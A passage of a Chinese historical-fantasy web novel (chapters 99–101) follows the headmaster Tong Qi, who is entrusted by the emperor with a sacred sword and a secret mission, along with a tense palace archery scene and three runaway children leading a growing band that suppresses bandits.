第99章 第99章圣上召见 一刀斩杀御马,仿佛预示着汪启元今后的官途注定不会太过顺畅。 打马游街之后,便是择官。 不同于其他二甲、同进士等统统进入翰林院考核,再分往六部的老规矩,这一届的皇帝亲自将状元、榜眼、探花叫进了宫来,询问他们想要做什么样的职位。 金銮殿上,隔着玉翠珠帘,皇帝陛下坐在龙椅之中,面色亲近。 “我听闻,你们书院一向尊重学生的想法,风气自由。而今入朝为官,自然也需得选你们喜欢的,怎么,可有想去的地方啊?” 这话,就像是寻常的长辈询问他们喜欢吃什么一般。 极其贴心。 若是稍稍没经历过事的新臣子,只怕这个时候都得感动的涕泗横流,恨不得衔首以报了,而华夏书院的这三位却只是跪下平静的谢恩,道了声“不敢。” “朕恕你们无罪,但说无妨。” 皇帝接过旁边徐常侍的茶水,低头喝着。 三个人对视一眼,小心斟酌着语句。 郭胜开率先发言道,“雷霆雨露,俱是君恩,臣没什么想去的地方,任凭陛下定夺皆可。” “哪怕是不好的地方?” 皇帝反问道。 “哪怕是不好的地方。只要大奉朝境内,臣皆可。”郭胜开跪地行礼,语气坚定。 旁边的汪启元犹豫道。“臣想留在朝中,替陛下分忧,若真能选择的话,臣……愿去兵部,改革军政。” 皇帝没有说话,只摩挲着腰间的珠串,俯视着下方的三个学生。 吴韧看了看左右,恭敬的磕了个头,道。 “臣愿去地方任职!不论是一县之长,亦或者是一个小吏,只要能为百姓做点实事,能帮助到陛下,江山永固,臣皆心甘情愿。” 皇帝大叹道,“好!好一个心甘情愿!诸位都是肱骨之臣,听完你们的想法,朕总算是心中有数了。科考完,还未归乡吧?富贵不回乡,如同锦衣夜行,朕给你们一个月的假,回去修修祖坟,拜拜长辈。一月后,再来任职即可。翰林院便不必去了,论写文章,你们都是潘阆、童山长教出来的学生,再无可上进之间隙,既然想做点实事,那便按照你们的心愿,直接做事的好。” “臣谢陛下隆恩!” 三人面带喜色,恭 敬退下。 然而圣旨很快出来,却与他们所想象的并非一致。 “奉天承运皇帝诏曰:巍巍科举,为国抡才;济济英贤,共襄治道……今敕受状元郎汪启元任户部员外郎,正七品阶……榜眼吴韧任广州军州事兼广南东路兵马铃辖,正五品服……探花郭胜开任环州环县县令兼本县巡检使,从八品秣……故兹诏示,想宜知悉。钦此!” 三个不同的地方,三个不同的官职,光从品级上也能看出来皇上的偏重。 汪启元短暂的失望了一瞬,但也清楚,这便是自己转投胡丞相的坏处之一了。 毕竟作为文人群体的领袖一派,天生就自带了很多助力,他势必会遭到皇上加倍的防备与忌惮。 倒是郭胜开与吴韧,皆遂了心愿,一个去了环县当县令,一个去了广州当知府,且还负责市舶司等商贸之权,不可谓不信重。 “恭喜吴兄、郭兄得偿所愿。” 他站在宫门口,施了一礼,客客气气道。 而吴韧和郭胜开则皆看了眼旁边围观的太监官员们,沉默的回了个礼,什么话也没说,转身离去了。 从汪启元成为胡丞相女婿的那一刻起,他们便注定了不再同行一条路。 悲伤的是,不知何时能再坦然相见。 而欣慰的则是,反正,殊途同归。 比起一甲的惬意与重视,温叶辞、刘卜温、常仕进等人便没有这么好的待遇了,他们既不放假,也不授官,而是被统一安排进了翰林院开始上馆课,明文规定要上满半年,等考核过了,才能进入六部学习。 因此,六个考生来,回去,便只剩下了郭胜开与吴韧两人同回。(汪启元不再回书院) 童启听闻后,十分担心。 尤其是他们即将娶妻,刚成亲不久就要去那种偏僻地方的话,岳丈家能同意吗? “你们不如先去问问人家本人的意见,若愿意一同去,便先派人去整理整理,多带点东西过去,若不愿意,大不了就三年任期过后,再回来成亲,亦或者是把她们先暂留在家中,等那边安稳了,再接过去不迟。” 吴韧与郭胜开一想也是,便各自前往岳丈家,询问建议。 倒是童启打算采买一些东西回书院,不料半路却碰到了徐常侍,表示皇帝要秘密见他。 童启:…… 总觉得有种不太好的预感。 他换了身衣服,随人入宫,几乎一路上都不敢抬头,越过重重宫门,踏过不知几个门槛,这才总算来到了御书房,见到了传说中的大奉朝皇帝。 这是他第一次面见圣颜,不同于想象中精明强干、俾睨天下的模样。 皇帝本人实际上非常普通,就像是一个寻常的富家翁一般。 穿着明黄色常服,正坐在榻上赏析着一幅字画,见到他来,也不令他行礼,忙摆摆手唤道。 “童启来了?快快快,帮朕鉴定一下,这是不是颜真卿的《争座位帖》,朕今日刚得此宝,正琢磨不定呢!” 童启犹豫着上前,探头去看。 只见这墨贴郁勃浑劲,元气浑然,雄逸茂畅,舒和烂漫,以熟纸写就,共七页,其间还夹杂着不少涂抹勾改的痕迹。 这么些年,他深驻书院,成天和一众大儒们浸染,自认也看了不少的字画,懂得一二识别之能。 但这一幅,童启还真不敢断定。 唯一可以参考的,就是他现代练字的时候,也曾拿过颜真卿的字画作为临摹,偶然听过一嘴此帖的争论,据说原稿已经丢失不见,北宋之后很多留下来的都是摹本。 望着皇帝本人灼灼的目光,童启咽了口唾沫,只能强行架着自己上去分析,道。 “陛下,我看此帖笔法雄健,气势磅礴,确有颜鲁公之风骨,但细察之下,还是有几处疑点的。” “哦?童山长请细细讲来。” 徐常侍在一旁急的忙使眼色,可童启斜侧对着他,完全看不见,继续道,“颜公书法以中锋用笔著称,笔画圆润而有力,可此帖中部分笔画却略显尖利,似非中锋所致;且颜公所在的朝代纸张质地粗糙,墨色较沉稳,可此帖却光洁异常,墨色偏淡,就连所用的印章,也稍有不同,印尼颜色过于鲜艳,且笔画过于潦草,与颜公严谨之风也并不相符。所以,此帖,我推测,可能乃后代人临摹,并非真迹。” 他一鼓作气,微微躬身,语气平和。 而随着这番直言不讳的话,整个书房内也瞬间陷入了一股静谧之中。 “刺啦”一声,皇帝直接将那副字画撕碎,投入了旁边的香炉之内,徐常侍等人连忙跪下,闭紧了眼,不敢轻呼。 皇帝起身抬眸,看向屋子内正中间的童启,道。 “不愧是童山长。朕信你,既然是假的,那便没有存在的必要了。坐,还不上茶?” 一地的太监宫女这才方如同逃过一劫般,起身上茶。 童启被安排坐在了下面的凳子中,身后的衣衫已经湿了一大片。 他乖巧的抱着茶盏喝水,摸不透此行皇帝的用意,到底是给他下马威,还是拉拢呢? 这一惊一乍的,还怪考验心态的。 皇帝细细打量着童启的长相,慈祥的笑着,“不必紧张,朕只是想看一看能把学生教的如此优秀的人,到底是长什么模样,都说童山长年轻有为,你来了京都,我还没见过便任你离开了,岂不遗憾?这不,只有见了面,才能知晓,你真正的样貌,果然如传闻一般,是个翩翩少年啊。今年多大了,有十四吗?” 童启恭敬的放下茶盏,回答,“刚满十四。” “不错,这天下注定是你们这些年轻人的天下了,朕已经老喽,下一次再见面就不知何时了,那个时候,朕还活没活着,也未可知。有什么想要的吗?尽管说出来,朕皆可以为你实现。” 他这话说出来,底下的人又哗啦啦跪倒了一地。 童启也跟着跪下,口称不敢,道,“圣上长命百岁,请务必不要说这样的话。” 没一个皇帝是想要心甘情愿,规规矩矩的死的。 尤其是坐在这个位置上,掌管空前绝后的权利,谁愿意放权? 童启心知这话也就是试探试探,若他敢迎合,那才是真正的找死了。 年轻时,这位或许的确是个明君,把大奉朝治理的井井有条,风雨和畅,也并未做过什么大的错事。 但晚年了,一头雄狮垂垂老矣,最忌讳的,便是提及死字。 他笑盈盈将童启搀扶起来,令徐常侍等人退下。 “你不必慌,我不过调侃两句,你不想朕讲,朕不讲就是。何必下跪?我是真心的想要奖励给你点什么东西,但你如今还未入朝,若封官,未免名不正言不顺,若奖励金银器物,想来你个小小的善财童子,也是不缺的,这思来想去,朕只能叫人来亲自问问你,看你想要什么,大胆说,不必避讳。” 童启愣了一下,见对方乃是真心实意,思索一瞬后,犹豫道。 “那,不如陛下便赏赐臣一个匾额吧。” “匾额?”皇帝面色疑惑。 “嗯, 就写上【华夏书院】四个字即可!能沾上您的御笔,我们这书院也算是功成名就了。” 似没想到,金口玉言,对方竟然只要这个东西。 皇帝愣了一下,很快便哈哈大笑起来。 “好好好,我便给你写这么一个匾额!” 他当场令人准备笔墨,笔走龙蛇,便赐予了一个【天下第一书院华夏书院】的御书,令人刻成匾额,即刻送往伊川县。 童启满意的看着,越看越美。 谁家开书院能看成这个样子啊?简直前无古人后无来者有没有? 见他开心,皇帝也不由盈起了一个笑容来。 “朕满足了童山长的一个愿望,朕也有个请求,不知道,童山长,可不可以帮忙。” 童启心中瞬间咯噔一下,道。 来了,正菜总算端上来了! 第100章 第100章尚方宝剑 御书房内,皇帝令童启将角落里的山水屏风挪开。 伴随着遮挡一点点被揭开,一副硕大的大奉朝疆域图被钉死在墙面上,一览无余。 童启当场便被震撼在了原地。 自他来到这里后,便很少见到过地图类的信息,谈起大小,也只听说过“南到哪里,北到哪里”这种模糊性的表述,搞得还以为这个朝代没有地图的概念呢,没想到,竟是类似于这种绝密的垄断模式。 皇帝背着手,站在那地图下,仰视着属于自己的疆域。 “童山长,你或许不信,但朕从来都没有想过要做一个皇帝。” 他幽幽叹道。 “权利这东西,是个孤家寡人的专属,站的越高,背后,也越是空无一人。太祖皇帝建功立业,为朕传下这么大的一个家业,可打江山容易,守江山,难啊!” 童启转过身,看着这个几乎将软肋全部袒露出来的帝王。 对方一把握住了他的肩膀,将他拉的走进几步,一一指给他看。 “你看,这西,有西夏、女真蠢蠢欲动;东,有契丹、倭寇,狼子野心;南边,涝灾、水患频发,各种山匪起义搅得朕是无可奈何;北又因为那逆子,险些分崩离析!朕每日战战兢兢,无一安寝,真的很想问一问,到底朕做错了什么?竟落得如此结局?都言帝王高高在上,可其中的心酸苦痛却难以向他人述说,即便说了,别人也未必会信。” “朕也不想他日去了下面,无颜面见太祖,可眼看着一桩桩一件件,实在是逼得朕没了办法。那些世家们、大臣们,他们就像是吸血虫一般死死盯着朕,唯恐失去半点利益,哪怕换了个皇帝又如何,他们照样可以扶持下一个继位,外戚权宦们,也只是希望能够从我这里得到更多的东西,他们只想保永世富贵,对这江山百姓,并无任何留念。朕从出生开始,便不断的在往外给予,即便如此,朕的儿子,朕的大臣,也无不时时刻刻在等着朕死去,童启啊,朕也是实在没有办法了,这才只能求助于你。” 【求助】两字,实在是重的让童启心里发慌。 他忙搀扶住情绪激动的帝王,道,“圣上莫要这样说。有什么臣能够帮到的,请尽管开口。” 他人都架到这里了,难不成,还能跑么? 见童启满眼真挚,确无退让之意,皇帝这才稍稍调整了一下呼吸,低声说道。 “朕想委托你,秘密去一趟黄龙府。” “黄龙府?” 那里不都被四皇子和契丹联手占据了吗? 童启微微讶异。 “没错。”皇帝肯定道,“你应该还没收到消息,如今的农安县已经被老四那个逆子联合契丹人,一起占据了。朕知道他对朕心中有怨,可无论如何,这终归是咱们自己的家事,家丑不可外扬啊,即便是肉烂了,也要烂到自己锅里不是?上次西夏,朕听齐承胤说,很多主意都是你出的,所以,这一次,也希望你能去和那逆子谈一谈。” 我?谈契丹? 童启一脸苦涩,这是多看得起他啊? 且不说这四皇子压根就与他不熟,曾经谋逆的证据他甚至还亲眼见到过。就说这契丹与西夏,也完全不一样啊! 西夏本身就内部纷争的厉害,不愿意和大奉朝开战,可契丹野心勃勃,由上至下拧成一股绳,假以时日,是一定会倾占大奉朝的!如今的契丹首领耶律隆绪,其母萧绰,虽是女人,可却是大辽历史上相当厉害的一位女性统治者,政治手腕及谋略,半点不输给男人,让他一个文人过去,说“别打了,别打了”,确定不是送死的吗? 仿佛看出了他的迟疑,皇帝将旁边挂着的一把金碧辉煌的剑,递给了童启,道。 “这,乃是尚方宝剑,朕给与你上斩皇子,下斩奸佞的权利!必要之时,你可以事急从权……” 童启眉心一跳,强忍住不投以惊诧的视线。 方才还一口一个家事呢,这怎么突然就尚方宝剑了? 话语中的暗示其实已经非常明显。 上斩皇子斩的是谁?除了四皇子不做他想。 可童启真的能像他说的那样直接动手吗?若动手,以后华夏书院的名声还要不要了?谈判秒变刺客,其不仁不义,外加上以下犯上,对君动手,这可都是文人的大忌啊! 你别管这谋逆的君,算不算君,可不管怎么,那都是皇帝的亲儿子。 人家才是一家人! 你一个外人。 若以后皇帝后悔了,突然不承认这道命令,要清算,还不是直接以此为理由去压迫华夏书院?这明显就是个大坑,不能入! 童启将剑捧起,想要还给皇帝,可对方却幽幽道。 “朕听闻,广州那里,有人看到了已经死去的曹时序……也不知,是真是假。对方不是连同着曹钟诚一起都死在环县西夏人的劫杀中了吗?” 童启顿时一滞。 这三皇子…… 妈了个吧的,果然不可信任。 他咬咬牙,无奈的抬起头,问道。 “朝中如此多的官员,想必不缺我这一个,陛下又何必逼我呢?” “那不是朕的官员。”对方垂眸看着香炉中燃烧的字画,认真道,“那是胡丞相的官员才是。” 这话的信息量,简直令童启抓狂。 他强忍住不去在意,破罐子破摔道。 “好,臣可以走这么一趟,但臣也不敢保证最后的结果,一定能成。且我书院里还有事,必须要回去一趟,请陛下容臣稍加整理,准备一番,再动身前往!” 既然避不了,那就只能尽量争取时间了。 皇帝顿时转忧为喜,拉着他的手赞道,“那是自然。只要童山长愿意亲自前往,朕相信你,一定可以解决的。一切,就托付给童山长了!” 对方信重十足,似乎将整个江山的担子都直接压在了童启的身上。 而原本不想接的契丹任务,如今也不得不接下了。 他敲敲脑海中的对话框,疑惑问道。 “系统,你不会早就知道我会受到皇帝的托付吧?” 不然怎么半点都不焦急? 其实,他早就想问了,这系统的任务到底是怎么计算的,怎么就像是精准的能够感知到他的每一步选择似得,总是在恰当的时间,出现恰当的任务。 就像是冥冥之中在指引着他往一个方向前行一般。 看似有选择,其实,压根没选择。 系统摇摇头,道,“我可不知道你会选择什么。主线任务均是按照客观规律下,你需要完成桃李满天下的最终指标而形成的。随机任务则是围绕你的声望值与书院相关的进程,可接可不接,一切皆由你的个人意志而产生。若你根本不在乎皇帝的委托,或者干脆就没来京都的话,那么自然就不会有这个结果,但你来了,选择了承担下这个压力,这个任务自然就成为了最适合的。” 换句话说,随机任务只是锦上添花。 你愿意添还是不添,对于系统和主任务都没有影响。 可对你个人的局势选择,以及后续进程,还是影响比较大的。 童启望着怀中的尚方宝剑,长叹了一口气。 许是卸下了原本的忐忑感,出宫的路,远比进宫时感觉短了许多。 送行的依旧是徐常侍。 他口中小声念叨着。 “童山长诶,你的胆子方才也太大了一些!怎么能评论圣上的不是呢?即便是假画,你也不能那样讲啊,否则岂不是落了陛下的面子?满朝大臣谁不知道那是副假的字画,可皆无人开口,怎么偏偏就被你给揭穿了?咱家原本还想着跟您提醒两下呢,奈何您根本就没看到,幸亏也就是陛下没生气,不然的话……” “抱歉,我也是头一回面圣,没什么经验。” 他歉意的笑了笑,认真的鞠了一躬道。 “早就听闻潘阆先生有一好友,位于宫中,没想到今日机缘巧合,竟然在这种情况下见了面。还要感谢您的提醒,若不是您,我方才恐怕早就慌了。” 徐常侍愣了一下,看着对方毫无鄙视,真心实意的双眸,忍不住心里一滞。 这么些年,他在宫中,也曾见过不少奉承讨好他的大臣们,可即便伪装的再好,他们眼中的鄙视与不屑,仍旧是不加掩饰。 这还是头一次,有人真的以潘阆的好友称呼他。 未加任何的前缀与目的。 怪不得…… 半晌,徐常侍方才释然道。 “我总算知道潘阆那老家伙为什么一去不复返了,您确实是有有教无类,一视同仁的品质,无愧贤师之名。” 童启怔了一下,见徐常侍抢步而行,向前带路,不由连忙跟了上去。 绕过前殿,进入狭长的甬道,一望无际的高墙竖立在两旁,有压云之势,令人透不过 气来。 远处一顶萱花小轿被几个太监抬着,缓缓经过。 徐常侍忙带着童启避让在一旁。 他悄然抬起头,好奇的看着那顶小轿一点点晃荡前行,一阵风起,将那轿帘吹动,露出其内一张熟悉的脸来。 猝不及防,童启与轿中的女孩四目相对,齐齐惊讶了一瞬。 是她? 那个当时在西夏救了他,跨马前行,差点一箭射死西夏小王子的飒气女孩! 电光石火的一刹那。 风落,小轿被远远抬离。 童启怅然若失,问向一旁的徐常侍道。 “这是……何人?为什么这个时候入宫?” 徐常侍瞥了一眼,回答道,“这乃是新晋的六皇子妃,马上就要成婚了,听闻贵妃娘娘特别喜欢她,因此常叫她下午进宫规训谈话。” 原来如此。 童启点了点头,心中有些感慨,那么小的一个小姑娘,竟然就要嫁人了,实在是…… 可他一个外人,也管不到皇家的事情,只能一路出宫,不再回话- 椒房殿内,贵妃娘娘的宫殿中。 想起方才见到的人,正帮着抄录佛经的岳灼华短暂的出神了一下,被贵妃娘娘所唤醒。 “灼华,灼华?你怎么今天下午总是出神,是准备婚事太累了吗?既如此,那就先别抄写了,正好今日皇儿也在宫中,小玉,你便带着她一起去见见吧,也让两个孩子提前培养一下感情。” “是。” 旁边被叫到的大宫女小玉连忙应承下来。 岳灼华没办法,只得放下笔墨,跟着人低头进入后殿花园之中。 远远的,便看到一个少年身穿明黄,正和一个小宫女嬉笑打闹着,那小宫女身子一躲,被直接抱了个满怀,娇滴滴将桌案上的葡萄送入六皇子口中,脸颊上也顺带被亲了一口。 玉宫女尴尬的咳嗽了一声,唤道。 “六皇子,娘娘让您照顾一下岳姑娘。” 岳姑娘? 六皇子偏过头去,这才发现对方旁边站着的女孩,那女孩身姿高挺,双眼极亮,就如同满天星辰一般,让人一见忘俗,倒是引起了他的几分兴趣。 “你,便是我那未过门的妻子?” 岳灼华敛眉行礼道,“问六皇子安。” 六皇子饶有兴趣的围绕着她转悠了几圈,“听说你舅舅也是武将,而且还曾在边关固守过西夏,既如此,那你可曾练过武,听过什么有趣的沙场故事?” 岳灼华不敢多言,只道,“练武不敢说,只是略懂一点拳脚罢了,至于沙场故事,我还尚未听过什么有趣的。” 什么算有趣? 行军之事,动辄血流成河,百姓无家可归,有趣吗? 她从不觉得。 可或许那句略懂提起了六皇子的一点兴趣,他挥挥手,让旁边的小太监,将一把弓箭拿了过来,问道,“既然你说懂一点拳脚,那想必也应该会射箭喽?射给我看看,但恕你无罪!” 说着,他一把将方才的那个小宫女拉扯着放在十几步开外的距离,然后用一颗葡萄,放在了其脑袋上。 那小宫女简直吓得面无惨色,当场便颤抖着哭了出来。 “听闻华夏书院的童山长能够百米外射中西夏小王子的胸口,这只有十几步,你若能射中她头顶上的葡萄,我便服你,如何?” 岳灼华冷静的看着那小宫女头顶上的东西,摇摇头道。 “学武是为了保护人,不是为了伤害人,此举过于危险,臣不建议您这么做。” 六皇子的神色一下子暗沉下来,将那小宫女一把掼在了地上,冷笑道。 “不敢射?你是不敢,还是看不起我?怎么,你舅舅是柏大将军,你便觉得自己也很厉害吗?既如此,那这样,射我,你若能射中我脑袋上的东西,我就恕你无罪,如何?不然的话……我就令人把她活生生打死。” 他拿了一个苹果,直接站在了小宫女原本的位置上,一脸挑衅。 岳灼华看着地上的小宫女,对方俨然已经快吓傻了,正痴痴的匍匐着,不住的颤抖。 旁边的玉宫女压低声音提醒道。 “岳姑娘,不可伤害皇子!” 可偏偏对面的六皇子却坚定了心,一口一个嘲讽。 “怎么,连这都不敢吗?什么柏家军,不过就是个摆设而已,还吹什么天下第一军,我舅舅还没说话呢,也不看看前线到底谁才是大将军,真正领权的人物?遇到我徐家,他柏弓良连个屁都不敢放,算什么东西?哼,世人就知道夸大,什么这呀那呀的,成日里压根什么都不知道,也敢漫天吹出去,我就不信……” 岳灼华拿过旁边的弓箭,缓缓拉开,以箭头对准了六皇子。 她屏息的看着对面脑袋上的苹果,感受着周围的风声。 目光如炬。 一开始,六皇子还有些吊儿郎当,可当他看到对面的箭弦渐渐上了劲儿,顿时不由的咽了口唾沫,一点点不由自主的紧绷起来。 那如同星辰的眼,此刻像是剥去了外皮,只剩下幽深的不见底。 随着破空声,岳灼华一松手,六皇子本能的往地上一坐。 头顶上的苹果,霎时被射穿,分崩离析。 六皇子看了眼岳灼华,又看了眼苹果,脸色近乎铁青,难以置信。 周围的太监宫女们忙上前搀扶,被他一把甩开。 手掌心因为接触地面而被石子磨破,火辣辣的,如同丢了的面子,六皇子愤怒的转身离开,一语不发。 玉宫女看了一眼岳灼华,也憋闷的离开了。 一场不欢而散的初见,毫无浪漫可言,只剩一地的狼藉。 岳灼华站在原地,捏着弓,垂眸思考着,这才觉察出自己似乎搞砸了。 贵妃娘娘心疼的给自家儿子上着药,看着那小指头一般的伤口,颇觉不满,她抱怨道。 “这岳姑娘也是,怎么敢对皇子动手的?我只是让他规劝一下皇儿,用嘴上说一说便是,怎么能伤害他呢?看这伤口难受的,乖儿啊,以后可不能再这样了啊!” 六皇子嘟嘟囔囔道,“还不是您,非要跟我说什么岳家,一个武夫之后,姑娘能有什么贤良之色啊?还不如那个冯楚陌呢,看看您这给我找的,这什么母老虎?以后您儿子可算是倒了大霉了。” 贵妃娘娘拍了他一下,斥道,“什么武夫之后?你舅舅也是将军呢,莫要胡说。” “舅舅怎么能和他们一样,咱们徐家可还有着您这么一个贵妃娘娘撑着呢,哪里能跟他们那些相比?” 贵妃这才被哄好了一些,轻点了一下他的鼻子道,“还是你嘴乖,罢了,这岳姑娘也是,没轻没重的,以后就让她在家里好生准备婚事吧,莫要再进宫了。” “是。” 贵妃娘娘隐隐的迁怒传到岳府中,岳盛天果然立刻便察觉到了奇怪之处,当即将岳灼华叫了过来,询问她到底做了什么。 得知差点射伤六皇子,岳盛天简直气的要死,大怒道。 “你个逆女,知不知道,咱们全家如今就指着贵妃娘娘的恩泽,你竟然敢对六皇子动手?疯了不成?他能够看中你,那便是你的福气,怎么,你难道是想要给家里人带来祸患吗?” 岳灼华低着头没有说话,旁边的继母象征性的拦了拦道,“算了,孩子也是六皇子妃了,小惩大诫一番便是,以后迟早是要进宫去的,你说这么多,小心落得埋怨。性子野不怕,以后迟早有宫里的人帮忙纠正。” “都是我惯得,这便是从小没有母亲的毛病了。” 岳盛天愤愤不平道,一把抱起旁边的小儿子,不愿再多说什么,挥挥手让岳灼华离开了。 她冷冷的看着一家三口和谐的样子,转身离开。 而随着岳家府门缓缓关闭,静等成亲,童启也终于到了回去的时候。【你现在阅读的是 】 100-110 第101章 第101章山匪头子 同行的吴韧与郭胜开皆从各自岳父的府上回来,面色微喜,看来是谈的不错。 两家态度都很好,半点没有嫌弃就任之地偏僻的意思,不仅和谐美满的定下了婚期,还说了很多良言,令他们好好当官,积累经验之类的,双方也都愿意直接从京城出嫁,前往伊川县举办婚礼,之后再一同前往赴地。 看得出来,两位岳丈对女婿都很满意,而吴韧和郭胜开也没有勉强之色,估摸着是见到了自己貌美的未婚妻,所以回来后,皆一副憨憨傻傻,满心期待的模样。 童启这才彻底放下了心。 又留了几日,亲眼看着迎了亲,拜了堂,三人这才一同往伊川县而回。 可如今的伊川县,正陷入了满城找人的风波。 孩子丢了,还是最小的师妹! 天知道谢君仪他们考完试之后,得知这个消息,有多么的抓狂! 王小花和张小娘子等人也都急的不行,连课也没心思上了,带着医学院的学生们就满大街的找人。 整个华夏书院的学生、家长、老师们都被发动了起来,联系亲戚的联系亲戚,命令下属的命令下属,有一个算一个,皆投入到了寻找赵天阙等人的任务中,可一连半个月,却连个影子都没见。 时间一点点过去,众人心中的绝望与不安也越发大了起来。 “这三人到底去哪里了?不会是遇到什么危险了吧?我已经令人将整个京城沿路的客栈、住所都搜了个遍,并无人见到他们,这万一……山长那边可怎么交代啊?” 虎妞和王小花哭的满眼通红,内疚不已。 “都怨我,要不是我们忙着去采药,也不会放任他们跑出去。” 谢君仪无奈的打断道,“眼下不是埋怨追责的时候,孩子要紧,这样吧,我们再找一遍,尤其是那些拐子、山寨之类的地方,没准落了哪一处,总之,山长回来之前,咱们务必要将人搜到。” 其他人不知,可他却是知晓天阙身份的重要性的。 这要是真丢了,重要的可不止是如何跟山长交代,还有岳家、齐大人,以及死去的四皇子妃…… 一想到涉及的人群层面,他便忍不住颤抖了一瞬。 不行,无论如何,必须得找到! 不然的话,他的小命就得彻底玩完了! 有了明确的方向,各家各户纷纷行动起来,沿着伊川县北上,一路到达京城,几乎所有周边的人贩子、山匪寨子都遭了大罪。 下狱的下狱,抄家的抄家,无人知道到底是丢了谁,怎么弄出这么大的动静。 可即便如此掘地千里,他们却依旧连个衣角都没找到。 而真正的赵天阙呢? 她此时正沉着心蹲守在山头上,看着远处的折继世点燃引信。 随着小手轻轻一挥。 “嘭”得一声巨动,远处的山寨瞬间被炸出一个大坑来,赵天阙一手抱住了李元昊的脖子,婴言婴语的喊道。 “啊啊啊啊!” 身后的匪徒们便纷纷拿着刀剑冲了进去。 折继世站在最前方,几乎一刀一个,毫不带任何感情。 不同于之前的山寨可以放过一马,这个山寨他们已经调查了好几日,确定里面无一个幸存者,皆是恶徒,杀人放火,为非作歹,无恶不做。所以不必留情,直接正法即可。 山寨的门口已经被火药包炸平,死伤无数。 李元昊近乎呆滞的看着这威力与满地猩红,悄然伸出手,捂住了赵天阙的眼睛,却被对方瞬间不满的拉了下来。 “女公子,看!全是银子!” 领头的山匪兴奋的将寨子里的东西一一搬出,摆放了一整个院子,那金光闪闪、穷奢极欲的财富,震惊住了所有人的眼睛。 真有钱啊,不愧是最大最恶的山寨! 简直比他们书院每年交学费的场面还要壮观。 赵天阙看的两眼发光,蹭蹭蹭便爬了下去,直接将木箱一合,掐着腰站到了上面,道。 “我的!” 两个字,将其霸道本性阐释的明明白白。 大家皆敬畏十足的看着,没有半点反抗。 其实,一开始,山寨里的人也有那不服气的,认为凭什么要听三个小娃娃的命令? 可后来被狂揍了几顿后,见其武力值高,脑袋好用,不仅会雷神之法,且还行事有道,非常公允,从不故意饿着其他人,渐渐的,也懒得质疑了。 于是,诡异的事情发生了。 原本他们山寨里只有二十人不到,可缴平了几个山寨后,他们顺利晋升为五十人。再过了一段时间,又夷平了几个山头,他们不减反增,跃升至两百人,随着人数的渐渐扩大,甚至有拖家带口前来投奔的,厨房里做饭的厨娘们,也从刚开始只有两人,到渐渐人数飙升扩至几十,每日要给三百多人做午餐。 折继世和李元昊见到这状况,都忍不住懵了。 “不能再收了,这情况好像有点不太对,若是被人发现的话,还以为咱们是什么起义军呢?肯定会给山长添麻烦的!” 折继世担忧道。 赵天阙不明所以的歪歪脑袋。 什么是起义军? 她小小的知识库里尚未来得及储存这个词汇,所以不明白为什么不可以做。 李元昊连演带比划,好长一段时间,才总算帮她理清了反叛、起义是什么意思。 “山头?山长!” 她疑惑道。 “不是!哎呀,怎么跟你说呢,这不像是咱们书院那种性质的,这个是有点严重的,你懂不?别总想着什么都留给山长了,山长若是知道咱们跑出来了,回头第一个打的就是你!总之,跟你说不清,咱们不能带着他们一起走,要是想去京城的话,北边只会越来越严,咱们不能停!明白吗?只能继续北上!” 折继世想了想,也觉得有理。 还是继续往北走,找山长比较好,毕竟如今这种情况,压根不是他们能解决的,一个不留神,便跳进黄河里都洗不清了。 三人收拾行囊,打算悄然离开。 然而这个消息不知怎么泄 露出去,被其他的山寨村民所知晓,大家连夜起身,纷纷跟在他们身后,要一起走。 赶也赶不走,警告也警告不明白。 多日的相处,令他们早就知晓这三个孩子中真正当家做主的是谁,于是一口一个“女公子”,一口一个“天阙”的,硬是死乞白赖缀在后面,即便折继世,也无可奈何。 随着一众人继续向南,队伍后面跟着的人,也越来越多。 李元昊越看越是觉得哪里不对劲。 “这怎么更奇怪了呢?就像是行军似的,我们西夏每逢要出去打仗,也是这么连日的赶路,烧火做饭,建立营帐。老折,你确定这对吗?” 折继世也相当的头疼。 他怎么可能会不觉得奇怪呢?没见到一路上连个人影都没有吗? 但凡进入一个县城,当地所有的百姓、官员们那种颤颤巍巍,忌惮惊恐的目光……分明就是把他们当成匪盗头子来看了啊! 可他能怎么办? 大家硬是紧跟着,怎么赶都赶不走啊! 偏偏始作俑者赵天阙却一点都不急,每日窝在李元昊怀中,跟谁都能唠上个两句。 婴言婴语的,虽然一开始对方听不太懂,可时间长了,勉强也能猜出几分。 于是,双方词汇量大增。 队伍中渐渐有人开始脱离出去,受命做其他的事情。 有的去给赵天阙抬箱子,有的前往前方营寨里打探敌情,甚至还有的出去买粮,组建护卫队,完全就是一副正规军的模样。 他们见山匪就剿,见营寨就住,看到平民百姓也不抢掠欺凌。 渐渐的,名气四起,甚至有县城百姓们特意花钱请他们帮忙。 颜大将军听到后,纳闷不已。 他才是真正受到皇帝认令前来剿匪的人啊,哪里又冒出来的什么正规军? 他恍惚问向底下的亲兵,道。 “你说,有一只队伍把整个襄州的山寨全部都给剿灭了?而且领头的还是三个小孩子?确定吗?” “据探子传来的消息,好像确实无疑。” “不是……他们为什么啊?” 三个小孩子,剿灭山寨? 明明这句话没什么歧义,听着如此顺畅,可结合起来,颜大将军却只觉晦涩难懂,怎么也听不明白。 怎么就三个小孩子,能剿灭十几个山寨了? 那可是穷凶极恶,他们带着人攻打了数次,都没有彻底打下来的地方啊? 怎么可能会这么容易? 而且,他们为什么要这么做?又没有钱,又没有名,纯纯的做慈善吗? 还是说……他们根本就不是什么小孩子,只是被山匪推出来的障眼法,用来混淆视听的,其根本意义,乃是为了瞒山过海,趁机偷袭? 颜大将军匪夷所思的推敲着,而赵天阙等人,也是满腹疑惑。 “等一下,什么叫做这不是去京城的路?这难道不是北上吗?” 李元昊惊讶问道。 旁边的匪徒犹犹豫豫,“这不是北上啊,这是往南,咱们再多一点,马上就要出了襄州了。你们若是想要去京城的话,理应出了城沿着官道往北行,可这是南下广州的路啊。” 三个人只觉如遭雷击。 赵天阙和李元昊顿时一脸控诉,看向折继世的方向。 折继世:…… 谁能想到看起来最正常的小伙子,竟然会是个路痴呢? 就这,你还想要以后要上战场打仗?能顺利把大军带到目的地不? 怪不得,他们就说怎么走了很久了,仍旧半点没见到什么赶考回乡的士子们。 合着完全是走了反方向啊! 骤然得知这个噩耗,一群人简直失落不已,尤其是赵天阙,本以为马上就能够见到山长了,可谁知却是渐行渐远。 脑袋上的呆毛都因此垂落了下来,软塌塌的,颓丧不已,连一向喜欢的小面包都半点吃不下去了。 折继世满脸心虚,连忙宽慰道,“别这样嘛,大不了我们再往回走,加快脚步,肯定能赶在山长回来之前到达书院的!” 赵天阙:…… 